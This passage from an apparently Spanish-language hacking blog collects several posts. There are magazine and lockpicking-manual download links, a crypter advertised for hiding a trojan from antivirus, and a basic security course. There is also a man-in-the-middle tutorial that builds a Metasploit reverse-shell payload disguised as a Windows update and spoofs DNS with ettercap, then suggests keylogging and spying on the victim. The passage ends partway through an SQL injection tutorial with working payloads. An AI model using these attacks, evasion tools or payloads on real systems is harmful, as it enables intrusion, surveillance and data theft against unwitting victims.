#044296">E</span><span style="color: #043d9b">R</span><span style="color: #043d9b">O</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span></em><span style="color: #03389f">L</span><span style="color: #0333a3">E</span><span style="color: #0333a3">S</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">i</span></span></em><span style="color: #032da7">S</span><span style="color: #0228ab">E</span><span style="color: #0223af">A</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span></em><span style="color: #021eb3">D</span><span style="color: #021eb3">E</span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span></em><span style="color: #0119b7">U</span><span style="color: #0114bb">T</span><span style="color: #0114bb">I</span><span style="color: #010fbf">L</span><span style="color: #000ac3">I</span><span style="color: #000ac3">D</span><span style="color: #0005c7">A</span><span style="color: #0005c7">D</span></span><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive"><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span>Magazine<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span> n.1 <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span>Giugno<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span> <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">2011</label></span></span><em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">r</span></span></em> <span style="color: red">(ITALIANO)</span><br /></span><br /><img border="0" class="imagen" src="http://www.ebook3000.com/upimg/allimg/110707/1854220.jpg"><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png"><br /><br /><a href="http://www.megaupload.com/?d=QNC3QFBP" rel="nofollow" target="_blank">http://www.megaupload.com/?d=QNC3QFBP</a><br /><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive">The<span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span> Complete <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">:</span></span>Guide <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">/</span></span>To <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">!</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Google</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">j</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">t</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">2011</label></span></span> <em><span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">)</span></span></em><span style="color: red">(INGLES)</span><br /></span><br /><img border="0" class="imagen" src="http://magazinesdownload.com/post/2011/01/20/image.axd?picture=4806_d.jpg"><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png"><br /><br /><a href="http://www.megaupload.com/?d=EG09ZVGA" rel="nofollow" target="_blank">http://www.megaupload.com/?d=EG09ZVGA</a><br /><br /><br /><br /><span style="font-size: 24pt; line-height:24pt"><span style="color: olive">Magazine <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">I</span></span><span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">Android</label></span> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">r</span></span>- <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">.</span></span>diciembre <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">l</span></span>2011</span><span style="color: red"> <span style="font-size: 9pt; line-height:9pt"><span style="color: #e7e7e7">(</span></span>(ESPAÑOL)</span></span><br /><br /><img border="0" class="imagen" src="http://i1115.photobucket.com/albums/k542/mauri01/androidmagazine.jpg" style="width: 879px; height: 703px;"><br /><br /><img border="0" class="imagen" src="http://mixerxplotion.com/rumba/images/stories/boton-descargar.png" style="width: 246px; height: 164px;"><br /><br /><a href="http://www.megaupload.com/?d=KA47NFTK" rel="nofollow" target="_blank">http://www.megaupload.com/?d=KA47NFTK</a><br /><br /><span style="font-size: 24pt; line-height:24pt">DISFRUTEN</span><br /><img border="0" class="imagen" src="http://i1115.photobucket.com/albums/k542/mauri01/ola.gif"></span></div>

Android magazine (varios)

3 ; R E V I S T A S : E N | P D F ' E N | 3 ! I D I O M A S | P A R A , D E C A R G A R | Y i L E E R i D E L . M A S i P U...

Leer más »

un par de manuales de Lockpicking

<div style="text-align: center;">bue ya q pusieron esta seccion aprovecho a poner un par de manuales q baje hace tiempo de latinohack<br /><br />lo que tiene es esto:<br /><br />tutos y manuales<br /><br /><img alt="" border="0" src="http://i40.tinypic.com/intyls.jpg" /><br /><br />videos<br /><br /><img alt="" border="0" src="http://i39.tinypic.com/9jek2g.jpg" /><br /><br />curso cerrajeria<br /><br /><img alt="" border="0" src="http://i44.tinypic.com/znz2o.jpg" /><br /><br />Parte 1<br /><br /><a href="http://www.megaupload.com/?d=JCMVDNFW" target="_blank">http://www.megaupload.com/?d=JCMVDNFW</a><br /><br />Parte 2<br /><br /><a href="http://www.megaupload.com/?d=9AP9Z8OG" target="_blank">http://www.megaupload.com/?d=9AP9Z8OG</a><br /><br />que lo disfruten </div>

un par de manuales de Lockpicking

bue ya q pusieron esta seccion aprovecho a poner un par de manuales q baje hace tiempo de latinohack lo que tiene es esto: tutos y manuales ...

Leer más »

Cryptaul - v1.0 hace indetectable tus softwares

<div style="text-align: center;"><div style="overflow: auto; width: 100%;">Bueno despues de una larga noche diseñando un algoritmo aca les presento mi crypter escrito en C.<br /><br />aca la foto:<br /><br /><img alt="" border="0" src="http://img521.imageshack.us/img521/2010/cryptaul.jpg" /><br /><br />Cree un troyano con el poison...el cual antes me lo detectaban 39 AV..ahora solo me lo detectan 17 <img alt="Grin" border="0" src="http://hdlsec.com/foro/Smileys/classic/grin.gif" /><br /><br /><br /><a href="http://www.megaupload.com/?d=JGS29QW4" target="_blank">http://www.megaupload.com/?d=JGS29QW4</a><br /><br />Saludos.</div> <table style="table-layout: fixed;" width="100%" border="0"><tbody><tr> <td colspan="2" class="smalltext" width="100%" align="left"> <br /></td> </tr><tr> </tr></tbody></table></div>

Cryptaul - v1.0 hace indetectable tus softwares

Bueno despues de una larga noche diseñando un algoritmo aca les presento mi crypter escrito en C. aca la foto: Cree un troyano con el poison...

Leer más »

Curso Seguridad Informatica

<div style="text-align: center;"><span style="color: limegreen;"><span style="font-size: 14pt; line-height: 1.3em;">.Seguridad Informatica. Capitulo Uno: (Pilares Básicos para un Admin Novato)</span> </span><br /><br /><img alt="" border="0" src="http://img118.imageshack.us/img118/751/sec051.jpg" /><br /><span style="font-size: 8pt; line-height: 1.3em;">· PRÓLOGO ·<br /><br />Hola que tal, antes que nada agradecer a todos aquellos que gastan de su valioso tiempo en leer estos papers. He recibido buenas criticas sobre como esta empleado y explicado los temas, y realmente animan a crear mas y mas notas. Creo que no hay otra forma de aprender y practicar sin que primero tengamos que leer, pero no solo basta leer cualquier texto, sino realmente que se nos quede en la cabeza, disfrutar de lo que leemos y ademas que no sea tan tecnico aunque aveces es inevitable, sino que sea legible y se entienda lo que uno trata de decir.<br />Espero que esto siga asi por mi parte de escritor y bueno sigan leyendo sin aburrirse.<br /><br />Voy a comenzar con una serie de nuevos papers sobre lo que respecta a seguridad informatica, y sobre todo va destinado a aquellas personas que se vean interesadas y deseen ser administradores de verdad, responsabilizandonos de la seguridad de los datos.<br />Antes que nada aclarar que es a lo que me dedico por el momento y estudio, el dia de mañana espero poder ejercer profesionalmente en alguna empresa grande y disfrutar de mi trabajo como lo hago al escribir (creo que es lo que todos en este mundo deseamos, hacer lo que realmente nos gusta).<br /><br /><span style="color: grey;">Hagamos de cuenta que somos un futuro Administrador de Seguridad Informatica, que esta entusiasmado en aprender y aprender, y arranca desde cero.<br />Lo primero es aprender conceptos basicos, y voy a tratar de orientar y recorrer los distintos pasos que una persona que se dedica a la seguridad informatica podria afrontar situaciones y planeamientos en un puesto importante, en una empresa grande.<br />Ya que al hablar de seguridad informatica no estamos hablando solamente de hackers sino que abarca mucho mas que eso y se expande fuera de una pc tambien.</span></span><br /><br />|| Escrito por: ÇonfusedMind . || Jueves 09 de abril de 2009. <br />|| Web: <a href="http://confused.vndv.com/" target="_blank">http://confused.vndv.com</a>. || Contact: allmenage[at]gmail[dot]com .<br />|| Para una mejor lectura: <a href="http://confused.vndv.com/security/sec05.html" target="_blank">http://confused.vndv.com/security/sec05.html</a><br /><br /><span style="color: limegreen;">#############################################################<br /># [-] Conceptos: SEGURIDAD INFORMATICA.<br /># [-] La Tríada C.I.A: Tres Pilares Fundamentales de la Seguridad. <br /># [-] Lo opuesto a C.I.A.<br /># [-] ¿Que es lo que queremos Proteger?.<br /># [-] Creando un Plan de Seguridad. <br /># [-] Creando grupo de trabajo y determinando Responsabilidades. <br />#############################################################</span><br /><br /><br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># Conceptos: SEGURIDAD INFORMATICA.</span></span><br />Bueno lo primero es saber que significa la palabra SEGURIDAD para tener un concepto nocivo sobre como emplearla luego. Un profesor llamado Zeballos definio de forma interesante el concepto de seguridad:<br /><span style="color: yellow;"><br />SEGURIDAD:</span> "Es un estado de alto contenido subjetivo, que nos hace sentir adecuadametne exentos de riesgos reales o potenciales, dentro de un marco lógico de euilibrio psíquico." Interesante no?.<br /><span style="color: yellow;">INFORMATICA:</span> "Es la ciencia que estudia el fenomeno de la informacion, los sistemas aplicados a ella y su utilizacion, principalmente, aunque no necesariamente con la ayuda de computadores y sistemas de telecomuniaciones como instrumentos, en beneficio de la humanidad."<br />Entonces podriamos dar el concepto final de <span style="color: yellow;">SEGURIDAD INFORMATICA:</span> "Es el conjunto de medidas preventivas, de deteccion y correccion destinadas a proteger la integridad, confidencialidad y disponibilidad de los recursos informaticos."<br /><br />Una de las cosas que siempre tenemos que tener en mente es que la seguridad no es para nada "ABSOLUTA". Y esto es algo que tenemos que tener en cuenta, que la seguridad intenta prevenir y minimizar el impacto o riesgo.<br />Esto se debe a que lamentablemente aunque nos gustara, no podemos impedir y eliminar de por vida el factor riesgo y miedo. <br />Pero si podemos disminuir ese riesgo y miedo, si aumentamos la seguridad.<br />Nosotros como especialistas en el tema, debemos intentar llevar esa prevencion a un nivel alto y para ello necesitamos una efectiva organizacion las cuales las basaremos en 3 pilares fundamentales de la SI (Seguridad Informatica desde ahora SI).<br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># La Tríada C.I.A: Tres Pilares Fundamentales de la Seguridad.</span></span><br />Las tecnicas o metodos que se utilizan para tener una correcta organizacion estan basadas en estos pilares que vienen del inglés: ("Confidentiality, Integrity, Availability") que significan <span style="color: yellow;">[Confidencialidad, Integridad y Disponibilidad]</span>.<br /><br /><img alt="" border="0" src="http://img16.imageshack.us/img16/4817/sec053.jpg" /><br /><br /><span style="color: yellow;">Confidencialidad:</span> Esta caracteristica asegura que los usuarios que no sean autorizados no tienen acceso a determinados datos a menos que estos se autorizen.<br /><span style="color: yellow;">Integridad:</span> Cuando nos referimos a esta palabra significa que estamos seguros de que la informacion de la que disponemos no ha sido borrada, ni modificada ni copiada.<br /><span style="color: yellow;">Disponibilidad:</span> Es la caracteristica que asegura que determinados recursos de un sistema e informacion, estaran disponibles a los usuarios autorizados siempre que estos sean requeridos.<br />Siguiendo estas caracteristicas o reglas por decirlo de una forma indirecta, podemos organizar y fundamentar mejor nuestra seguridad.<br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># Lo opuesto a C.I.A</span></span><br />Siempre debemos estar preparado para lo peor y saber muy bien que hay polos opuestos para todo.<br />En este caso ante un ataque con exito nuestro archivo que era confidencial puede revertirse mediante la <span style="color: yellow;">"REVELACION"</span> por lo tanto nuestro archivo que pensabamos que estaba plenamente seguro ahora ha sido alterado y por lo tanto lo contrario a integridad seria <span style="color: yellow;">"MODIFICACION"</span> y ese archivo que brindaba informacion y era un recurso disponible para usuarios de todo el mundo ya no esta debido a la <span style="color: yellow;">"DESTRUCCION"</span>. Por lo tanto estas tres acciones son las que tenemos que prevenir al maximo nivel que podamos siendo administradores de un sistema es el peor riesgo que puede pasar con nuestros archivos.<br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># ¿Que es lo que queremos Proteger?</span></span><br />Bien, esta es una pregunta que todos los administradores de sistemas, tendrian que hacerse.<br />Estamos bajo el mando de una pc o red, como Admin de Seguridad Informatica, y ahora ¿que hacemos? ¿que protegemos?.<br />Tenemos mucho por proteger pero dependiendo el lugar, la empresa, el ambiente y area en el que estemos debemos planificar que proteger y como.<br /><br /><span style="color: yellow;"> 1. Hardware<br /> 2. Software<br /> 3. Datos<br /> 4. Elementos Consumibles</span><br /><br />Con lo que respecta a Seguridad Informatica tenemos 4 categorias numeradas arriba, de las cuales la mas importante al momento de proteger es la de los DATOS.<br />Un hardware como puede ser un disco rigido, puede ser cambiado o reemplazado por otro. Inclusive comprado nuevamente.<br />Un Software puede ser borrado, y luego puede ser instalado nuevamente.<br />Los elementos consumibles como papeles para el fax y la impresora, tinta para imprimir o escanear, y demas cosas pueden ser cambiadas y compradas.<br /><br />Pero los datos no. Debido a que estos van modificandose mediante el paso del tiempo, y son resultados de quizas un trabajo extenso realizado. Por eso es necesario para un Administrador, emplear determinadas politicas de seguridad con esos datos, como sincronizar horarios para realizar determinados Backups, archivar estos datos en diferentes lugares para que esten disponibles en caso de que sufra un percanse el original, ponerlo de forma privada y confidencial mediantes cifrados, etc.<br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># Creando un Plan de Seguridad</span></span><br /><img alt="" border="0" src="http://img219.imageshack.us/img219/4834/sec054.jpg" /><br /><br />Como habiamos dicho antes, para crear un plan de seguridad efectivo hay que ir paso a paso.<br />Claro esta y remarque que la politica de seguridad que adopte cada Admin es relativo a cada empresa ya que cada una tiene sus prioridades.<br /><br /><br /><span style="color: yellow;">1] Para iniciar el armado de la politica de seguridad hay que preguntarse ¿Que es lo que vamos a proteger?.<br /><br />2] El segundo paso es preguntarnos de ¿quien hay que protegerse?. Dependiendo de que tan importante sea la empresa y la informacion valiosa que posea podremos darnos una idea paranoica del nivel de riesgo al que nos enfrentamos.<br />En este paso ponemos en practica lo que llamaremos "RESTRICCIONES", por ejemplo: a un grupo de empleados determinados les restringimos el acceso a internet y el modo de ejecuccion y escritura en los archivos, que simplemente tengan permisos para abrirlos. Esto es por dar un ejemplo, se pueden aplicar diferentes restricciones dependiendo la funcion del usuario o empleado.<br /><br />3] El tercer paso es el del factor "RIESGO" Es necesario adoptar ciertas responsabilidades y no solo informaticamente hablando, es sin mas palabras, al "pedo" matarnos protegiendo la base de datos de clientes si a estos no les demostramos que tan segura es nuestra empresa.<br /><br />4] Este es el paso en el cual mediante implementaciones de medidas de seguridad combinadas con software podremos aumentar la seguridad y asi proteger los recursos de la empresa. La implementacion de las medidas de seguridad consta en una combinacion de: Firewalls, IDS, Restricciones a usuarios, Caducaciones de Contraseñas, Archivos cifrados mediante criptografia, etc.<br /><br />5] El ultimo paso seria el de Actualizar el sistema, la gente no se da cuenta que tan importante es actualizar un sistema. Por preferencias de comodidad con versiones anteriores o de acostumbramiento con estas, abren una brecha de inseguridad terrible.<br />Tambien hay que decir que no todo lo nuevo, es para mejor, y mas seguro.<br />Pero generalmente es para mejor, una actualizacion de un firewall, que quizas repara algunas vulnerabilidades o fallas de versiones anteriores.<br />Por eso debemos crear una enumeracion de los programas que tenemos instalados y luego verificar sus versiones, para posteriormente buscar actualizaciones. Esto generalmente se chequea en un periodo de cada 10 a 15 dias.<br /></span><br /><br /><span style="font-size: 12pt; line-height: 1.3em;"><span style="color: limegreen;"># Creando grupo de trabajo y determinando Responsabilidades.</span></span><br />Bien nuestro Administrador, ha avanzado bastante, y ya dispone de suficiente experiencia como para hacerse cargo de una red grande en su empresa importante, y solo le falta crearse un grupo de trabajo y determinar las responsabilidades para cada uno.<br /><br />Todo lo que se planea generalmente repercute en el futuro, para eso se logra un plan, para prevenir lo que viene o podria venirse, o para realizar una determinada accion. Por este motivo es necesario realizar una politica de seguridad pensada y con experiencia que avalen este tema.<br />Realizar un plan de seguridad informatica en una pc donde se utilize para jugar puede resultar algo sencillo. Pero crear un plan de seguridad para una empresa la cual tiene mas de 100 pcs en red con salida a internet puede ser algo delicado y complejo.<br />Y mas sabiendo que no todos los empleados que utilizan esa computadora entienden 100% de computacion, incluyendo los jefes que aunque ellos tengan la culpa si pasa algo, la van a echar ante nosotros y no podremos decirles nada porque siguen siendo nuestros jefes <img alt="Cheesy" border="0" src="http://hdlsec.com/foro/Smileys/classic/cheesy.gif" />.<br /><br /><span style="color: yellow;">La clave esta en dividir tareas, y elegir un grupo efectivo para llevar a cabo la tarea de planeamiento. Este grupo tiene que estar integrado por personas dedicadas a auditar las redes.<br />Cada persona que integre el grupo debe tener una responsabilidad acorde con el plan que se vaya a realizar. Una persona dedicada a la seguridad fisica de las pcs no se va a dedicar tambien a problemas de red.<br />Es por eso que se dividen las tareas en las empresas, y es muy comun crear un organigrama.</span><br /><br /><div align="center"><img alt="" border="0" src="http://img93.imageshack.us/img93/3678/sec055ornigrama.jpg" /></div></div>

Curso Seguridad Informatica

.Seguridad Informatica. Capitulo Uno: (Pilares Básicos para un Admin Novato) · PRÓLOGO · Hola que tal, antes que nada agradecer a todos aq...

Leer más »

Man In The Middle (MITM) Attack : ettercap, metasploit

<div style="text-align: center;"><div style="overflow: auto; width: 100%;"><div align="center"><span style=" line-height: 1.3em;font-size:100%;" ><b>Man In The Middle (MITM) Attack : ettercap, metasploit</b></span></div><b>¿Qué es esto?</b><br />Con la creación de un sitio Web falso, que con un poco de ingeñieria social obtendriamos el acceso a la línea de comandos para PC nuestro objetivo.<br /><br /><b>¿Cómo funciona esto?</b><br />> Ettercap para realizar el ataque MITM<br />> Metasploit para la explotación<br />> Apache para el servidor web<br /><br /><b>¿Qué necesito?</b><br />> Ettercap<br />> Metasploit<br />> Servidor Web<br /><br /><b>Aca va un video:</b><br /><a href="http://blip.tv/file/2319124##id2338014" target="_blank">Attack: Man In The Middle (MITM) | g0tmi1k</a><br /><b>Para descargar:</b><br /><a href="http://www.mediafire.com/?x5xt4nkgjtn" target="_blank">http://www.mediafire.com/?x5xt4nkgjtn</a><br /><b>Aca los comandos del video pero mejorado por mi <img alt="Smiley" border="0" src="http://hdlsec.com/foro/Smileys/classic/smiley.gif" /></b><br /><div class="quoteheader">Citar</div><div class="quote">#Exploit Reverse Tcp<br />nano /usr/share/ettercap/etter.dns<br /><br />sh -c "start-apache"<br />y si no te funciona tenes<br />/etc/init.d/apache2 start<br /><br />cd /pentest/exploits/framework3<br />./msfpayload windows/meterpreter/reverse_tcp LHOST=IP (Internet Protocol) X > /var/www/Windows-KB174529-x86-ENU.exe<br />,/msfconsole<br />use exploit/multi/handler<br />set PAYLOAD windows/meterpreter/reverse_tcp<br />set LHOST IP (Internet Protocol) -ifconfig-<br />exploit<br />ettercap -T -Q -P dns_spoof -M arp // // -i eth0<br />shell<br />Y ahi después hacen lo que se les cante <img alt="Cheesy" border="0" src="http://hdlsec.com/foro/Smileys/classic/cheesy.gif" /><br />keylloger,espia,screenshot y etc....</div><br /><br />Fuente: <a href="http://forums.remote-exploit.org/" target="_blank">http://forums.remote-exploit.org</a><br /><br />PD: Es mi primer tutorial asi que cualquiera error es por ser la primera vez xD, también se puede meter SBD (Secure BackDoor) pero eso ya depende de cada uno <img alt="Cheesy" border="0" src="http://hdlsec.com/foro/Smileys/classic/cheesy.gif" /><br />Salu2<br /></div> </div>

Man In The Middle (MITM) Attack : ettercap, metasploit

Man In The Middle (MITM) Attack : ettercap, metasploit ¿Qué es esto? Con la creación de un sitio Web falso, que con un poco de ingeñieria s...

Leer más »

Gran tutorial de inyecciones SQL (MySQL)

<div style="text-align: center;"><span class="Apple-style-span" style="color: rgb(199, 199, 199); font-family: Verdana, arial, sans-serif; font-size: 11px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: rgb(27, 27, 27); "><center>+--------------------------------------------------------+ <br /> <br />|<span class="Apple-converted-space"> </span><b>SQL injection && Blind Sql Injection</b><span class="Apple-converted-space"> </span>| <br /> <br /> <br />|<span class="Apple-converted-space"> </span><b>Escrito por<span class="Apple-converted-space"> </span><span style="color:blue;">l0ve</span></b><span class="Apple-converted-space"> </span>| <br /> <br />+--------------------------------------------------------+ <br /></center> <br /> <br /><u><b>¿Qué es sql injection?</b></u> <br /> <br />"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la <br />base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las <br />partes del programa con código SQL. Es, de hecho, un error de una clase más general de <br />vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté <br />incrustado dentro de otro. <br />Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro <br />código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código <br />"invasor" en la base de datos." <br /><b> <br />Fuente:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="link">http://es.wikipedia.org/wiki/Inyección_SQL</a> <br /> <br /><u><b>¿Qué vamos a ver?</b></u> <br /> <br />Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x .. <br /> <br />aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc .. <br /> <br />Antes de empezar vamos a repasar algunas cosas básicas: <br /> <br /><b>?</b><span class="Apple-converted-space"> </span>enlaza la URL con los parámetros. <br /><b>&</b><span class="Apple-converted-space"> </span>delimita donde termina un parámetro y donde comienza el otro. <br /><b>=</b><span class="Apple-converted-space"> </span>asigna el valor. <br /> <br /><b><i>Recuerda bien ;).</i></b> <br /> <br />Empecemos ... <br /><u> <br />Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"</u> <br /> <br /><u><b>¿Cómo reconocer una vulnerabilidad sql?</b></u> <br /> <br />Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ' (''%27'') al <br />final de la URL: <br /> <br />http://localhost/print.php?id=332' <br /> <br />también con:<span class="Apple-converted-space"> </span> <br /> <br />- paréntesis ")" <br />- "comentarios" como ''/*'' , ''--'' o "#" <br />- palabras del lenguaje sql como "select,order by" etc .. <br /> <br />Ejemplos: <br /> <br />http://localhost/print.php?id=12) -- <br />http://localhost/print.php?id=12)) -- <br />http://localhost/print.php?id=12 '-- <br />http://localhost/print.php?id=12 ') -- <br />http://localhost/print.php?id=12 ')) -- <br /> <br />veamos: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img201.imageshack.us/img201/2907/pantallazo1nq2.png" style="max-width: 499px; " /></a> <br /> <br /> <br />el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo: <br /> <br /><b>Con /*:</b> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img153.imageshack.us/img153/9775/pantallazo6bt1.png" style="max-width: 499px; " /></a> <br /> <br /><b>Con --:</b> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img241.imageshack.us/img241/1391/pantallazo7zf9.png" style="max-width: 499px; " /></a> <br /> <br /> <br />además de los ejemplos anteriores se pueden usar "operadores lógicos" .. <br /> <br />ejemplo: <br /> <br />http://localhost/print.php?id=1 and 1=1 <br /> <br />Y luego: <br /> <br />http://localhost/print.php?id=1 and 1=2 <br /> <br />vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar lo <br />segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la diferencia). <br />Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL <br />syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a <br />sql injection. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img209.imageshack.us/img209/7611/pantallazo2jm2.png" style="max-width: 499px; " /></a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img357.imageshack.us/img357/5663/pantallazo3tn3.png" style="max-width: 499px; " /></a> <br /> <br /> <br />No solo se puede usar "AND" existen otros operadores lógicos: <br /> <br /><b>1 && 1</b><span class="Apple-converted-space"> </span>//Representa el AND <br /><b>1 || 1</b><span class="Apple-converted-space"> </span>//Representa el OR <br /><b>1 XOR 0</b><span class="Apple-converted-space"> </span>//Retorna null si alguno de ellos es null <br /><b>!</b><span class="Apple-converted-space"> </span>//Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0. <br /> <br /> <br /><u><b>Explorando la base de datos</b></u> <br /> <br />Vamos a averiguar el numero de columnas ... <br /> <br />¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los <br />resultados veamos. <br /> <br />http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error <br />http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error <br />... <br />http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error <br />http://localhost/print.php?id=-1 order by 17/* <-------- error <br /> <br />Cuando hay un error nos mostrara algo así: <br /> <br />"Unknown column '17' in 'order clause" <br /> <br />Como podemos ver hay 16 columnas. <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img201.imageshack.us/img201/5628/pantallazo4tk0.png" style="max-width: 499px; " /></a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; " target="_blank"><img src="http://img259.imageshack.us/img259/2674/pantallazo5dl9.png" style="max-width: 499px; " /></a> <br /> <br /> <br />Pero hay veces que esto no es posible y tendremos que usar UNIÓN<span class="Apple-converted-space"> </span><u> <br />(Sentencia UNIÓN:</u><span class="Apple-converted-space"> </span>Se usa <br />para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.) <br /> <br />http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* <br /> <br />Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero <br />sabremos que la unión funciona .. tenemos 